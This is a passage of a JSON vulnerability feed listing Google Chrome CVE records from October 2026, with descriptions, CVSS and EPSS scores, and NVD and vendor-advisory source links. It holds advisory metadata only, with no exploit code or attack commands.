use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113124","type":"primary","publishedAt":"2026-10-20T22:19:04.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113123","cveId":"CVE-2026-113123","aliases":[],"kind":"vulnerability","title":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.443Z","updatedAt":"2026-10-21T17:27:12.233Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113123","asOf":"2026-10-21T17:27:12.233Z"},"epss":{"probability":0.00417,"percentile":0.35715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113123","type":"primary","publishedAt":"2026-10-20T22:19:04.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113121","cveId":"CVE-2026-113121","aliases":[],"kind":"vulnerability","title":"Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.227Z","updatedAt":"2026-10-23T18:13:16.553Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113121","asOf":"2026-10-23T18:13:16.553Z"},"epss":{"probability":0.00412,"percentile":0.3519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113121","type":"primary","publishedAt":"2026-10-20T22:19:04.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113120","cveId":"CVE-2026-113120","aliases":[],"kind":"vulnerability","title":"Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.117Z","updatedAt":"2026-10-21T17:26:31.837Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113120","asOf":"2026-10-21T17:26:31.837Z"},"epss":{"probability":0.00417,"percentile":0.35715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113120","type":"primary","publishedAt":"2026-10-20T22:19:04.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113119","cveId":"CVE-2026-113119","aliases":[],"kind":"vulnerability","title":"Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.010Z","updatedAt":"2026-10-23T18:13:32.463Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113119","asOf":"2026-10-23T18:13:32.463Z"},"epss":{"probability":0.00417,"percentile":0.35715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113119","type":"primary","publishedAt":"2026-10-20T22:19:04.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113118","cveId":"CVE-2026-113118","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.890Z","updatedAt":"2026-10-22T23:18:26.473Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113118","asOf":"2026-10-22T23:18:26.473Z"},"epss":{"probability":0.00373,"percentile":0.30927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113118","type":"primary","publishedAt":"2026-10-20T22:19:03.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113117","cveId":"CVE-2026-113117","aliases":[],"kind":"vulnerability","title":"Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.773Z","updatedAt":"2026-10-23T18:13:49.110Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113117","asOf":"2026-10-23T18:13:49.110Z"},"epss":{"probability":0.00417,"percentile":0.35722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113117","type":"primary","publishedAt":"2026-10-20T22:19:03.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113115","cveId":"CVE-2026-113115","aliases":[],"kind":"vulnerability","title":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.530Z","updatedAt":"2026-10-21T17:25:21.087Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113115","asOf":"2026-10-21T17:25:21.087Z"},"epss":{"probability":0.00417,"percentile":0.35711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113115","type":"primary","publishedAt":"2026-10-20T22:19:03.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113114","cveId":"CVE-2026-113114","aliases":[],"kind":"vulnerability","title":"Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.417Z","updatedAt":"2026-10-21T17:25:04.270Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113114","asOf":"2026-10-21T17:25:04.270Z"},"epss":{"probability":0.00417,"percentile":0.35721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113114","type":"primary","publishedAt":"2026-10-20T22:19:03.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113113","cveId":"CVE-2026-113113","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.303Z","updatedAt":"2026-10-22T15:32:40.447Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113113","asOf":"2026-10-22T15:32:40.447Z"},"epss":{"probability":0.00417,"percentile":0.35721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113113","type":"primary","publishedAt":"2026-10-20T22:19:03.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113112","cveId":"CVE-2026-113112","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.190Z","updatedAt":"2026-10-22T15:32:45.290Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113112","asOf":"2026-10-22T15:32:45.290Z"},"epss":{"probability":0.0037,"percentile":0.30631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113112","type":"primary","publishedAt":"2026-10-20T22:19:03.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113111","cveId":"CVE-2026-113111","aliases":[],"kind":"vulnerability","title":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via 